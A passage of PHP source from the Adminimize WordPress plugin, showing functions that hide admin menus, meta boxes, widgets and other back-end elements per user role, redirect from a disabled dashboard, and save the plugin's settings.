);
}
$disabled_link_option_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_link_option_' . $role . '_items'
);
$disabled_nav_menu_option_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_nav_menu_option_' . $role . '_items'
);
$disabled_widget_option_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_widget_option_' . $role . '_items'
);
$disabled_metaboxes_post_all[] = $disabled_metaboxes_post_[ $role ];
$disabled_metaboxes_page_all[] = $disabled_metaboxes_page_[ $role ];
}
$suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';
// Backend options
// exclude super admin
if ( ! _mw_adminimize_exclude_super_admin() && ! _mw_adminimize_exclude_settings_page() ) {
$_mw_adminimize_header = (int) _mw_adminimize_get_option_value( '_mw_adminimize_header' );
if ( 1 === $_mw_adminimize_header ) {
wp_enqueue_script(
'_mw_adminimize_remove_header',
WP_PLUGIN_URL . '/' . FB_ADMINIMIZE_BASEFOLDER . '/js/remove_header' . $suffix . '.js',
[ 'jquery' ]
);
}
// Post-page options.
if ( in_array( $pagenow, $def_post_pages, TRUE ) ) {
$_mw_adminimize_tb_window = (int) _mw_adminimize_get_option_value( '_mw_adminimize_tb_window' );
switch ( $_mw_adminimize_tb_window ) {
case 1:
wp_deregister_script( 'media-upload' );
wp_enqueue_script(
'media-upload',
WP_PLUGIN_URL . '/' . FB_ADMINIMIZE_BASEFOLDER . '/js/tb_window' . $suffix . '.js',
array( 'thickbox' )
);
break;
}
$_mw_adminimize_timestamp = (int) _mw_adminimize_get_option_value( '_mw_adminimize_timestamp' );
switch ( $_mw_adminimize_timestamp ) {
case 1:
wp_enqueue_script(
'_mw_adminimize_timestamp',
WP_PLUGIN_URL . '/' . FB_ADMINIMIZE_BASEFOLDER . '/js/timestamp' . $suffix . '.js',
array( 'jquery' )
);
break;
}
// Category options.
$_mw_adminimize_cat_full = (int) _mw_adminimize_get_option_value( '_mw_adminimize_cat_full' );
switch ( $_mw_adminimize_cat_full ) {
case 1:
wp_enqueue_style(
'adminimize-full-category',
WP_PLUGIN_URL . '/' . FB_ADMINIMIZE_BASEFOLDER . '/css/mw_cat_full' . $suffix . '.css'
);
break;
}
// Set default editor tinymce
if ( _mw_adminimize_recursive_in_array(
'#editor-toolbar #edButtonHTML, #quicktags, #content-html',
$disabled_metaboxes_page_all
)
|| _mw_adminimize_recursive_in_array(
'#editor-toolbar #edButtonHTML, #quicktags, #content-html',
$disabled_metaboxes_post_all
)
) {
add_filter( 'wp_default_editor', '_mw_admininimize_return_tinmyce' );
/**
* Return string tinymce.
* Necessary for php 5.2 usage :(; not possible to use an anonymous function.
*
* @return string
*/
function _mw_admininimize_return_tinmyce() {
return 'tinymce';
}
}
// Remove media buttons
if ( _mw_adminimize_recursive_in_array( 'media_buttons', $disabled_metaboxes_page_all )
|| _mw_adminimize_recursive_in_array( 'media_buttons', $disabled_metaboxes_post_all )
) {
remove_action( 'media_buttons', 'media_buttons' );
}
}
}
// set meta-box post option
if ( in_array( $pagenow, $def_post_pages, TRUE ) && in_array( $current_post_type, $def_post_types, TRUE ) ) {
add_action( 'admin_head', '_mw_adminimize_set_metabox_post_option', 1 );
}
// set meta-box page option
if ( in_array( $pagenow, $def_page_pages, TRUE ) && in_array( $current_post_type, $def_page_types, TRUE ) ) {
add_action( 'admin_head', '_mw_adminimize_set_metabox_page_option', 1 );
}
// set custom post type options
if ( function_exists( 'get_post_types' ) && in_array( $pagenow, $def_custom_pages, TRUE )
&& in_array( $current_post_type, $def_custom_types, TRUE )
) {
add_action( 'admin_head', '_mw_adminimize_set_metabox_cp_option', 1 );
}
// set link option
if ( in_array( $pagenow, $link_pages, TRUE ) ) {
add_action( 'admin_head', '_mw_adminimize_set_link_option', 1 );
}
// set wp nav menu options
if ( in_array( $pagenow, $nav_menu_pages, TRUE ) ) {
add_action( 'admin_head', '_mw_adminimize_set_nav_menu_option', 1 );
}
// set widget options
if ( in_array( $pagenow, $widget_pages, TRUE ) ) {
add_action( 'admin_head', '_mw_adminimize_set_widget_option', 1 );
}
}
// Change menu via settings of Adminimize.
//add_filter( 'custom_menu_order', '__return_true' );
add_filter( 'admin_menu', '_mw_adminimize_set_menu_option', 99999 );
// global_options
add_action( 'admin_head', '_mw_adminimize_set_global_option', 1 );
// on admin init
if ( is_admin() ) {
add_action( 'admin_init', '_mw_adminimize_admin_init' );
add_action( 'admin_menu', '_mw_adminimize_add_settings_page' );
add_action( 'admin_menu', '_mw_adminimize_remove_dashboard' );
}
register_activation_hook( __FILE__, '_mw_adminimize_install' );
register_uninstall_hook( __FILE__, '_mw_adminimize_uninstall' );
/**
* Remove the dashboard
*/
function _mw_adminimize_remove_dashboard() {
// exclude super admin
if ( _mw_adminimize_exclude_super_admin() ) {
return;
}
// Leave the settings screen from Adminimize to see all areas on settings.
if ( _mw_adminimize_exclude_settings_page() ) {
return;
}
global $menu, $user_ID;
$disabled_menu_ = array();
$disabled_submenu_ = array();
$user_roles = _mw_adminimize_get_all_user_roles();
foreach ( $user_roles as $role ) {
$disabled_menu_[ $role ] = (array) _mw_adminimize_get_option_value(
'mw_adminimize_disabled_menu_' . $role . '_items'
);
$disabled_submenu_[ $role ] = (array) _mw_adminimize_get_option_value(
'mw_adminimize_disabled_submenu_' . $role . '_items'
);
}
$disabled_menu_all = array();
$disabled_submenu_all = array();
foreach ( $user_roles as $role ) {
$disabled_menu_all[] = $disabled_menu_[ $role ];
$disabled_submenu_all[] = $disabled_submenu_[ $role ];
}
// remove dashboard
if ( $disabled_menu_all !== '' || $disabled_submenu_all !== '' ) {
$redirect = FALSE;
foreach ( $user_roles as $role ) {
if ( _mw_adminimize_current_user_has_role( $role ) ) {
if ( _mw_adminimize_recursive_in_array( 'index.php', $disabled_menu_[ $role ] )
|| _mw_adminimize_recursive_in_array( 'index.php', $disabled_submenu_[ $role ] )
) {
$redirect = TRUE;
}
}
}
// Redirect option, if Dashboard is inactive
if ( $redirect ) {
$_mw_adminimize_db_redirect = (int) _mw_adminimize_get_option_value(
'_mw_adminimize_db_redirect'
);
$_mw_adminimize_db_redirect_admin_url = get_option( 'siteurl' ) . '/wp-admin/';
switch ( $_mw_adminimize_db_redirect ) {
case 0:
$_mw_adminimize_db_redirect = $_mw_adminimize_db_redirect_admin_url . 'profile.php';
break;
case 1:
$_mw_adminimize_db_redirect = $_mw_adminimize_db_redirect_admin_url . 'edit.php';
break;
case 2:
$_mw_adminimize_db_redirect = $_mw_adminimize_db_redirect_admin_url . 'edit.php?post_type=page';
break;
case 3:
$_mw_adminimize_db_redirect = $_mw_adminimize_db_redirect_admin_url . 'post-new.php';
break;
case 4:
$_mw_adminimize_db_redirect = $_mw_adminimize_db_redirect_admin_url . 'page-new.php';
break;
case 5:
$_mw_adminimize_db_redirect = $_mw_adminimize_db_redirect_admin_url . 'edit-comments.php';
break;
case 6:
$_mw_adminimize_db_redirect = _mw_adminimize_get_option_value( '_mw_adminimize_db_redirect_txt' );
break;
}
$the_user = new WP_User( $user_ID );
reset( $menu );
$page = key( $menu );
$dashboard_core_string = esc_attr__( 'Dashboard' );
$dashboard = array( $menu[ $page ][ 0 ], $menu[ $page ][ 1 ] );
while (
! in_array( $dashboard_core_string, $dashboard, TRUE ) && next( $menu )
) {
$page = key( $menu );
}
if ( in_array( $dashboard_core_string, $dashboard, TRUE ) ) {
unset( $menu[ $page ] );
}
reset( $menu );
$page = key( $menu );
while ( ! $the_user->has_cap( $menu[ $page ][ 1 ] ) && next( $menu ) ) {
$page = key( $menu );
}
if ( preg_match( '#wp-admin/?(index.php)?$#', $_SERVER[ 'REQUEST_URI' ] ) ) {
wp_safe_redirect( $_mw_adminimize_db_redirect );
}
}
}
}
/**
* Set menu for settings
*/
function _mw_adminimize_set_menu_option() {
// exclude super admin
if ( _mw_adminimize_exclude_super_admin() ) {
return;
}
// Leave the settings screen from Adminimize to see all areas on settings.
if ( _mw_adminimize_exclude_settings_page() ) {
return;
}
global $menu, $submenu;
$wp_menu = (array) _mw_adminimize_get_option_value( 'mw_adminimize_default_menu' );
$wp_submenu = (array) _mw_adminimize_get_option_value( 'mw_adminimize_default_submenu' );
// Object to array
if ( is_object( $wp_submenu ) ) {
$wp_submenu = get_object_vars( $wp_submenu );
}
if ( ! isset( $wp_menu ) || empty( $wp_menu ) ) {
$wp_menu = $menu;
}
if ( ! isset( $wp_submenu ) || empty( $wp_submenu ) ) {
$wp_submenu = $submenu;
}
if ( ! isset( $menu ) || empty( $menu ) ) {
return;
}
_mw_adminimize_debug( $wp_menu, 'Adminimize, WordPress Menu:' );
_mw_adminimize_debug( $wp_submenu, 'Adminimize, WordPress Sub-Menu:' );
$disabled_menu_ = array();
$disabled_submenu_ = array();
$user = wp_get_current_user();
$user_roles = $user->roles;
_mw_adminimize_debug( $user, 'Adminimize, Current User:' );
foreach ( $user_roles as $role ) {
$disabled_menu_[ $role ] = (array) _mw_adminimize_get_option_value(
'mw_adminimize_disabled_menu_' . $role . '_items'
);
$disabled_submenu_[ $role ] = (array) _mw_adminimize_get_option_value(
'mw_adminimize_disabled_submenu_' . $role . '_items'
);
}
$mw_adminimize_menu = array();
$mw_adminimize_submenu = array();
// Set admin-menu.
foreach ( $user_roles as $role ) {
if ( in_array( $role, $user->roles, TRUE )
&& _mw_adminimize_current_user_has_role( $role )
) {
// Create array about all items with all affected roles.
foreach ( (array) $disabled_menu_[ $role ] as $menu_item ) {
$mw_adminimize_menu[] = $menu_item;
}
foreach ( (array) $disabled_submenu_[ $role ] as $submenu_item ) {
$mw_adminimize_submenu[] = $submenu_item;
}
}
}
// Support Multiple Roles for users.
// Leave only the items, there are active on each roles of the users.
if ( _mw_adminimize_get_option_value( 'mw_adminimize_multiple_roles' ) && 1 < count( $user->roles ) ) {
$mw_adminimize_menu = _mw_adminimize_get_intersection( $disabled_menu_ );
$mw_adminimize_submenu = _mw_adminimize_get_intersection( $disabled_submenu_ );
} else {
// Alternative filter the array to remove duplicates, much faster.
$mw_adminimize_menu = array_unique( $mw_adminimize_menu );
$mw_adminimize_submenu = array_unique( $mw_adminimize_submenu );
}
_mw_adminimize_debug( $mw_adminimize_menu, 'Adminimize, Menu Slugs to hide after Filter.' );
_mw_adminimize_debug( $mw_adminimize_submenu, 'Adminimize, Sub-Menu Slugs to hide after Filter.' );
foreach ( $wp_menu as $key => $item ) {
_mw_adminimize_debug( $item, 'Adminimize, Each Menu Item Array to check for hiding.' );
// Menu
if ( isset( $item[ 2 ] ) ) {
$menu_slug = $item[ 2 ];
// Check, if the Menu item in the current user role settings?
if ( in_array( $menu_slug, $mw_adminimize_menu, false )
) {
remove_menu_page( $menu_slug );
// Prevent access to the page with the slug, there was inactive.
_mw_adminimize_check_page_access( $menu_slug );
}
// Sub Menu Settings.
if ( isset( $wp_submenu ) && ! empty( $wp_submenu[ $menu_slug ] ) ) {
foreach ( (array) $wp_submenu[ $menu_slug ] as $subindex => $subitem ) {
// @see https://github.com/bueltge/adminimize/issues/149
if ( is_object( $subitem ) ) {
$subitem = json_decode( json_encode( $subitem ), true );
}
// Check, if is Sub Menu item in the user role settings?
if (
isset( $mw_adminimize_submenu )
&& _mw_adminimize_in_arrays(
array( $subitem[ 2 ], $menu_slug . '__' . $subindex ),
$mw_adminimize_submenu
)
) {
remove_submenu_page( $menu_slug, $subitem[ 2 ] );
// Prevent access to the page with the slug, there was inactive.
_mw_adminimize_check_page_access( $subitem[ 2 ] );
}
}
}
}
}
}
/**
* Set global options in backend in all areas.
*/
function _mw_adminimize_set_global_option() {
// exclude super admin
if ( _mw_adminimize_exclude_super_admin() ) {
return NULL;
}
// Leave the settings screen from Adminimize to see all areas on settings.
if ( _mw_adminimize_exclude_settings_page() ) {
return;
}
$user_roles = _mw_adminimize_get_all_user_roles();
$_mw_adminimize_admin_head = '';
$disabled_global_option = array();
$disabled_global_option_ = array();
$user = wp_get_current_user();
// Get settings for each role.
foreach ( $user_roles as $role ) {
$disabled_global_option_[ $role ] = (array) _mw_adminimize_get_option_value(
'mw_adminimize_disabled_global_option_' . $role . '_items'
);
}
// Write global options in an var.
foreach ( $user_roles as $role ) {
if ( in_array( $role, $user->roles, TRUE ) && _mw_adminimize_current_user_has_role( $role ) ) {
// Create array about all items with all affected roles, important for multiple roles.
foreach ( (array) $disabled_global_option_[ $role ] as $global_item ) {
$disabled_global_option[] = $global_item;
}
}
}
// Support Multiple Roles for users.
if ( _mw_adminimize_get_option_value( 'mw_adminimize_multiple_roles' ) && 1 < count( $user->roles ) ) {
$disabled_global_option = _mw_adminimize_get_duplicate( $disabled_global_option );
}
$global_options = implode( ', ', $disabled_global_option );
if ( 0 === strpos( $global_options, '#your-profile .form-table fieldset' ) ) {
global $_wp_admin_css_colors;
$_wp_admin_css_colors = 0;
}
$_mw_adminimize_admin_head .= '<!-- Set Adminimize global options -->' . "\n";
$_mw_adminimize_admin_head .= '<style type="text/css">' . $global_options . ' {display:none !important;}</style>' . "\n";
// List options if the debug option is active.
_mw_adminimize_debug($global_options, 'Adminimize: List active global options:');
if ( '' !== $global_options ) {
echo $_mw_adminimize_admin_head;
}
}
/**
* Set metabox options from database an area post.
*/
function _mw_adminimize_set_metabox_post_option() {
// exclude super admin
if ( _mw_adminimize_exclude_super_admin() ) {
return;
}
// Leave the settings screen from Adminimize to see all areas on settings.
if ( _mw_adminimize_exclude_settings_page() ) {
return;
}
$user_roles = _mw_adminimize_get_all_user_roles();
$_mw_adminimize_admin_head = '';
// It's better to declare $metaboxes as an array for better manipulation later.
$metaboxes = array();
foreach ( $user_roles as $role ) {
$disabled_metaboxes_post_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_metaboxes_post_' . $role . '_items'
);
if ( ! isset( $disabled_metaboxes_post_[ $role ]['0'] ) ) {
$disabled_metaboxes_post_[ $role ]['0'] = '';
/**
* @todo Think why keep going if $role does not even have boxes to hide? We may as well jump to the next $role.
*/
continue;
}
/**
* @todo Think why call a function as we can use a global variable already declared by WordPress.
* @var WP_User $user Instance of WP_User.
* @since 1.7.8
* @version 1.11.4
*/
$user = $GLOBALS['current_user'];
if ( is_array( $user->roles ) && in_array( $role, $user->roles, true ) ) {
if ( _mw_adminimize_current_user_has_role( $role ) && isset( $disabled_metaboxes_post_[ $role ] )
&& is_array(
$disabled_metaboxes_post_[ $role ]
)
) {
// The previous way $metaboxes was being filled it could be at some point non empty and empty afterwards.
// For instance, if a $role has items to be hidden and the user has this $role, $metaboxes will be filled.
// But in next loop $metaboxes may receive '' as the next $role might not have items to hide and the user might has the next $role.
$metaboxes[] = implode( ',', $disabled_metaboxes_post_[ $role ] );
}
}
}
$_mw_adminimize_admin_head .= '<!-- Set Adminimize metabox post options -->' . "\n";
// And below we implode $metaboxes because it's an array now.
$_mw_adminimize_admin_head .= '<style type="text/css">' .
implode( ',', $metaboxes ) . ' {display:none !important;}</style>' . "\n";
if ( ! empty( $metaboxes ) ) {
echo $_mw_adminimize_admin_head;
}
}
/**
* Set metabox options from database an area page.
*/
function _mw_adminimize_set_metabox_page_option() {
// exclude super admin
if ( _mw_adminimize_exclude_super_admin() ) {
return NULL;
}
// Leave the settings screen from Adminimize to see all areas on settings.
if ( _mw_adminimize_exclude_settings_page() ) {
return;
}
$user_roles = _mw_adminimize_get_all_user_roles();
$_mw_adminimize_admin_head = '';
$metaboxes = '';
foreach ( $user_roles as $role ) {
$disabled_metaboxes_page_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_metaboxes_page_' . $role . '_items'
);
if ( ! isset( $disabled_metaboxes_page_[ $role ][ '0' ] ) ) {
$disabled_metaboxes_page_[ $role ][ '0' ] = '';
}
// New since version 1.7.8.
$user = wp_get_current_user();
if ( is_array( $user->roles ) && in_array( $role, $user->roles, TRUE ) ) {
if ( _mw_adminimize_current_user_has_role( $role )
&& isset( $disabled_metaboxes_page_[ $role ] )
&& is_array( $disabled_metaboxes_page_[ $role ] )
) {
$metaboxes = implode( ',', $disabled_metaboxes_page_[ $role ] );
}
}
}
$_mw_adminimize_admin_head .= '<!-- Set Adminimize metabox page options -->' . "\n";
$_mw_adminimize_admin_head .= '<style type="text/css">' .
$metaboxes . ' {display:none !important;}</style>' . "\n";
if ( ! empty( $metaboxes ) ) {
echo $_mw_adminimize_admin_head;
}
}
/**
* Set metabox options from database an area post.
*/
function _mw_adminimize_set_metabox_cp_option() {
// exclude super admin
if ( _mw_adminimize_exclude_super_admin() ) {
return NULL;
}
// Leave the settings screen from Adminimize to see all areas on settings.
if ( _mw_adminimize_exclude_settings_page() ) {
return;
}
$post_id = 0;
if ( isset( $_GET[ 'post' ] ) ) {
$post_id = (int) $_GET[ 'post' ];
} elseif ( isset( $_POST[ 'post_ID' ] ) ) {
$post_id = (int) $_POST[ 'post_ID' ];
}
$current_post_type = $GLOBALS[ 'post_type' ];
if ( ! isset( $current_post_type ) ) {
$current_post_type = get_post_type( $post_id );
}
if ( ! isset( $current_post_type ) || ! $current_post_type ) {
$current_post_type = str_replace( 'post_type=', '', esc_attr( $_SERVER[ 'QUERY_STRING' ] ) );
}
// set hard to post
if ( ! $current_post_type ) {
$current_post_type = 'post';
}
$user_roles = _mw_adminimize_get_all_user_roles();
$_mw_adminimize_admin_head = '';
$metaboxes = array();
foreach ( $user_roles as $role ) {
$disabled_metaboxes_[ $current_post_type . '_' . $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_metaboxes_' . $current_post_type . '_' . $role . '_items'
);
if ( ! isset( $disabled_metaboxes_[ $current_post_type . '_' . $role ]['0'] ) ) {
$disabled_metaboxes_[ $current_post_type . '_' . $role ]['0'] = '';
continue;
}
$user = $GLOBALS['current_user'];
if ( is_array( $user->roles ) && in_array( $role, $user->roles, true ) ) {
if ( _mw_adminimize_current_user_has_role( $role )
&& isset( $disabled_metaboxes_[ $current_post_type . '_' . $role ] )
&& is_array( $disabled_metaboxes_[ $current_post_type . '_' . $role ] )
) {
$metaboxes[] = implode( ',', $disabled_metaboxes_[ $current_post_type . '_' . $role ] );
}
}
}
$_mw_adminimize_admin_head .= '<!-- Set Adminimize post options -->' . "\n";
$_mw_adminimize_admin_head .= '<style type="text/css">' .
implode( ',', $metaboxes ) . ' {display:none !important;}</style>' . "\n";
if ( ! empty( $metaboxes ) ) {
echo $_mw_adminimize_admin_head;
}
}
/**
* Set link options in area links of back end.
*/
function _mw_adminimize_set_link_option() {
// exclude super admin
if ( _mw_adminimize_exclude_super_admin() ) {
return NULL;
}
// Leave the settings screen from Adminimize to see all areas on settings.
if ( _mw_adminimize_exclude_settings_page() ) {
return;
}
$user_roles = _mw_adminimize_get_all_user_roles();
$_mw_adminimize_admin_head = '';
foreach ( $user_roles as $role ) {
$disabled_link_option_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_link_option_' . $role . '_items'
);
}
foreach ( $user_roles as $role ) {
if ( ! isset( $disabled_link_option_[ $role ][ '0' ] ) ) {
$disabled_link_option_[ $role ][ '0' ] = '';
}
}
$link_options = '';
foreach ( $user_roles as $role ) {
$user = wp_get_current_user();
if ( is_array( $user->roles ) && in_array( $role, $user->roles, TRUE ) ) {
if ( _mw_adminimize_current_user_has_role( $role )
&& isset( $disabled_link_option_[ $role ] )
&& is_array( $disabled_link_option_[ $role ] )
) {
$link_options = implode( ',', $disabled_link_option_[ $role ] );
}
}
}
$_mw_adminimize_admin_head .= '<!-- Set Adminimize links options -->' . "\n";
$_mw_adminimize_admin_head .= '<style type="text/css">' .
$link_options . ' {display:none !important;}</style>' . "\n";
if ( ! empty( $link_options ) ) {
echo $_mw_adminimize_admin_head;
}
}
/**
* Remove objects on wp nav menu.
*/
function _mw_adminimize_set_nav_menu_option() {
// exclude super admin
if ( _mw_adminimize_exclude_super_admin() ) {
return NULL;
}
// Leave the settings screen from Adminimize to see all areas on settings.
if ( _mw_adminimize_exclude_settings_page() ) {
return;
}
$user_roles = _mw_adminimize_get_all_user_roles();
$_mw_adminimize_admin_head = '';
foreach ( $user_roles as $role ) {
$disabled_nav_menu_option_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_nav_menu_option_' . $role . '_items'
);
}
foreach ( $user_roles as $role ) {
if ( ! isset( $disabled_nav_menu_option_[ $role ][ '0' ] ) ) {
$disabled_nav_menu_option_[ $role ][ '0' ] = '';
}
}
$nav_menu_options = '';
foreach ( $user_roles as $role ) {
$user = wp_get_current_user();
if ( is_array( $user->roles ) && in_array( $role, $user->roles, TRUE ) ) {
if ( _mw_adminimize_current_user_has_role( $role )
&& isset( $disabled_nav_menu_option_[ $role ] )
&& is_array( $disabled_nav_menu_option_[ $role ] )
) {
$nav_menu_options = implode( ',', $disabled_nav_menu_option_[ $role ] );
}
}
}
$_mw_adminimize_admin_head .= '<!-- Set Adminimize WP Nav Menu options -->' . "\n";
$_mw_adminimize_admin_head .= '<style type="text/css">' .
$nav_menu_options . ' {display: none !important;}</style>' . "\n";
if ( $nav_menu_options ) {
echo $_mw_adminimize_admin_head;
}
}
/**
* Remove areas in Widget Settings
*/
function _mw_adminimize_set_widget_option() {
// exclude super admin
if ( _mw_adminimize_exclude_super_admin() ) {
return NULL;
}
// Leave the settings screen from Adminimize to see all areas on settings.
if ( _mw_adminimize_exclude_settings_page() ) {
return;
}
$user_roles = _mw_adminimize_get_all_user_roles();
$_mw_adminimize_admin_head = '';
foreach ( $user_roles as $role ) {
$disabled_widget_option_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_widget_option_' . $role . '_items'
);
}
foreach ( $user_roles as $role ) {
if ( ! isset( $disabled_widget_option_[ $role ][ '0' ] ) ) {
$disabled_widget_option_[ $role ][ '0' ] = '';
}
}
$widget_options = '';
foreach ( $user_roles as $role ) {
$user = wp_get_current_user();
if ( is_array( $user->roles ) && in_array( $role, $user->roles, TRUE ) ) {
if ( _mw_adminimize_current_user_has_role( $role )
&& isset( $disabled_widget_option_[ $role ] )
&& is_array( $disabled_widget_option_[ $role ] )
) {
$widget_options = implode( ',', $disabled_widget_option_[ $role ] );
}
}
}
$_mw_adminimize_admin_head .= '<!-- Set Adminimize Widget options -->' . "\n";
$_mw_adminimize_admin_head .= '<style type="text/css">' .
$widget_options . ' {display: none !important;}</style>' . "\n";
if ( $widget_options ) {
echo $_mw_adminimize_admin_head;
}
}
/**
* Print small user-info.
*/
function _mw_adminimize_small_user_info() {
?>
<div id="small_user_info">
<p>
<a href="<?php echo wp_nonce_url(
site_url( 'wp-login.php?action=logout' ),
'log-out'
) ?>"
title="<?php esc_attr_e( 'Log Out' ) ?>"><?php esc_attr_e( 'Log Out' ); ?></a>
</p>
</div>
<?php
}
// include helping functions
require_once 'inc-setup/DebugListener.php';
require_once 'inc-setup/helping_hands.php';
// Include message class.
require_once 'inc-setup/messages.php';
// inc. settings page
require_once 'adminimize_page.php';
// dashboard options
require_once 'inc-setup/dashboard.php';
// widget options
require_once 'inc-setup/widget.php';
require_once 'inc-setup/footer.php';
require_once 'inc-setup/admin-footer.php';
// remove admin bar
require_once 'inc-setup/remove-admin-bar.php';
// admin bar helper, setup
// work always in frontend
require_once 'inc-setup/admin-bar-items.php';
// meta boxes helper, setup
// @TODO Meta Boxes: not ready for productive systems.
//require_once( 'inc-setup/meta-boxes.php' );
// Remove Admin Notices.
require_once 'inc-setup/remove-admin-notices.php';
// Add Ex-Import functions.
require_once 'inc-setup/export.php';
require_once 'inc-setup/import.php';
/**
* Add action link(s) to plugins page
*
* @param array $links
* @param string $file
*
* @return array $links
*/
function _mw_adminimize_filter_plugin_meta( $links, $file ) {
/* create link */
if ( FB_ADMINIMIZE_BASENAME === $file ) {
array_unshift(
$links,
sprintf(
'<a href="options-general.php?page=adminimize-options">%s</a>',
esc_attr__( 'Settings' )
)
);
}
return $links;
}
/**
* Add settings in plugin-admin-page.
*/
function _mw_adminimize_add_settings_page() {
$pagehook = add_options_page(
esc_attr__( 'Adminimize Options', 'adminimize' ),
esc_attr__( 'Adminimize', 'adminimize' ),
'manage_options',
'adminimize-options',
'_mw_adminimize_options'
);
if ( ! is_network_admin() ) {
add_filter( 'plugin_action_links', '_mw_adminimize_filter_plugin_meta', 10, 2 );
}
add_action( 'load-' . $pagehook, '_mw_adminimize_on_load_page' );
}
/**
* Enqueue script and styles for the settings page.
*/
function _mw_adminimize_on_load_page() {
// Load translation files on options page.
_mw_adminimize_textdomain();
$suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';
wp_enqueue_style( 'select2-style', plugins_url( 'css/select2' . $suffix . '.css', __FILE__ ), [], false );
wp_register_style( 'adminimize-style', plugins_url( 'css/style' . $suffix . '.css', __FILE__ ) );
wp_enqueue_style( 'adminimize-style' );
wp_enqueue_script( 'select2-script', plugins_url( 'js/select2' . $suffix . '.js', __FILE__ ), array( 'jquery' ),'',false );
wp_register_script(
'adminimize-settings-script',
plugins_url( 'js/adminimize' . $suffix . '.js', __FILE__ ),
array( 'jquery' ),
'',
TRUE
);
wp_enqueue_script( 'adminimize-settings-script' );
}
/**
* Get setting value for each options key.
*
* @param string|bool $key
*
* @return string
*/
function _mw_adminimize_get_option_value( $key = false ) {
$adminimizeoptions = false;
if ( ! _mw_adminimize_exclude_settings_page() ) {
$adminimizeoptions = wp_cache_get( 'mw_adminimize' );
}
if ( false === $adminimizeoptions ) {
// check for use on multisite.
if ( _mw_adminimize_is_active_on_multisite() ) {
$adminimizeoptions = (array) get_site_option( 'mw_adminimize', array() );
} else {
$adminimizeoptions = (array) get_option( 'mw_adminimize', array() );
}
wp_cache_set( 'mw_adminimize', $adminimizeoptions );
}
if ( ! $key ) {
return $adminimizeoptions;
}
return array_key_exists( $key, $adminimizeoptions ) ? $adminimizeoptions[ $key ] : null;
}
/**
* Update options.
*
* @param array $options
*
* @return bool
*/
function _mw_adminimize_update_option( $options ) {
if ( ! current_user_can( 'manage_options' ) ) {
return FALSE;
}
if ( _mw_adminimize_is_roles_options_import( $options ) ){
$options = _mw_adminimize_roles_complete_options( $options );
}
// Remove slashes always.
foreach ( $options as $key => $value ) {
$options[ $key ] = stripslashes_deep( $value );
}
// Kill the cache for the settings page.
wp_cache_delete( 'mw_adminimize' );
if ( _mw_adminimize_is_active_on_multisite() ) {
update_site_option( 'mw_adminimize', $options );
} else {
update_option( 'mw_adminimize', $options );
}
wp_cache_add( 'mw_adminimize', $options );
return TRUE;
}
/**
* Update options in database
*/
function _mw_adminimize_update() {
$user_roles = _mw_adminimize_get_all_user_roles();
$args = array( 'public' => TRUE, '_builtin' => FALSE );
$post_types = get_post_types( $args );
// Admin Bar Back end settings
$adminimizeoptions[ 'mw_adminimize_admin_bar_nodes' ] = _mw_adminimize_get_option_value(
'mw_adminimize_admin_bar_nodes'
);
// admin bar back end options
foreach ( $user_roles as $role ) {
// admin bar back end options
if ( isset( $_POST[ 'mw_adminimize_disabled_admin_bar_' . $role . '_items' ] ) ) {
$adminimizeoptions[ 'mw_adminimize_disabled_admin_bar_' . $role . '_items' ] = $_POST[ 'mw_adminimize_disabled_admin_bar_' . $role . '_items' ];
} else {
$adminimizeoptions[ 'mw_adminimize_disabled_admin_bar_' . $role . '_items' ] = array();
}
}
// Plugin Self Settings.
if ( isset( $_POST[ 'mw_adminimize_debug' ] ) ) {
$adminimizeoptions[ 'mw_adminimize_debug' ] = (int) $_POST[ 'mw_adminimize_debug' ];
} else {
$adminimizeoptions[ 'mw_adminimize_debug' ] = 0;
}
if ( isset( $_POST[ 'mw_adminimize_multiple_roles' ] ) ) {
$adminimizeoptions[ 'mw_adminimize_multiple_roles' ] = (int) $_POST[ 'mw_adminimize_multiple_roles' ];
} else {
$adminimizeoptions[ 'mw_adminimize_multiple_roles' ] = 0;
}
if ( isset( $_POST[ 'mw_adminimize_support_bbpress' ] ) ) {
$adminimizeoptions[ 'mw_adminimize_support_bbpress' ] = (int) $_POST[ 'mw_adminimize_support_bbpress' ];
} else {
$adminimizeoptions[ 'mw_adminimize_support_bbpress' ] = 0;
}
if ( isset( $_POST[ 'mw_adminimize_prevent_page_access' ] ) ) {
$adminimizeoptions[ 'mw_adminimize_prevent_page_access' ] = (int) $_POST[ 'mw_adminimize_prevent_page_access' ];
} else {
$adminimizeoptions[ 'mw_adminimize_prevent_page_access' ] = 0;
}
// Admin Bar Front end settings
$adminimizeoptions[ 'mw_adminimize_admin_bar_frontend_nodes' ] = _mw_adminimize_get_option_value(
'mw_adminimize_admin_bar_frontend_nodes'
);
// admin bar front end options
foreach ( $user_roles as $role ) {
// admin bar front-end options
if ( isset( $_POST[ 'mw_adminimize_disabled_admin_bar_frontend_' . $role . '_items' ] ) ) {
$adminimizeoptions[ 'mw_adminimize_disabled_admin_bar_frontend_' . $role . '_items' ] = $_POST[ 'mw_adminimize_disabled_admin_bar_frontend_' . $role . '_items' ];
} else {
$adminimizeoptions[ 'mw_adminimize_disabled_admin_bar_frontend_' . $role . '_items' ] = array();
}
}
if ( isset( $_POST[ '_mw_adminimize_user_info' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_user_info' ] = (int) $_POST[ '_mw_adminimize_user_info' ];
} else {
$adminimizeoptions[ '_mw_adminimize_user_info' ] = 0;
}
if ( isset( $_POST[ '_mw_adminimize_footer' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_footer' ] = (int) $_POST[ '_mw_adminimize_footer' ];
} else {
$adminimizeoptions[ '_mw_adminimize_footer' ] = 0;
}
if ( isset( $_POST[ '_mw_adminimize_header' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_header' ] = (int) $_POST[ '_mw_adminimize_header' ];
} else {
$adminimizeoptions[ '_mw_adminimize_header' ] = 0;
}
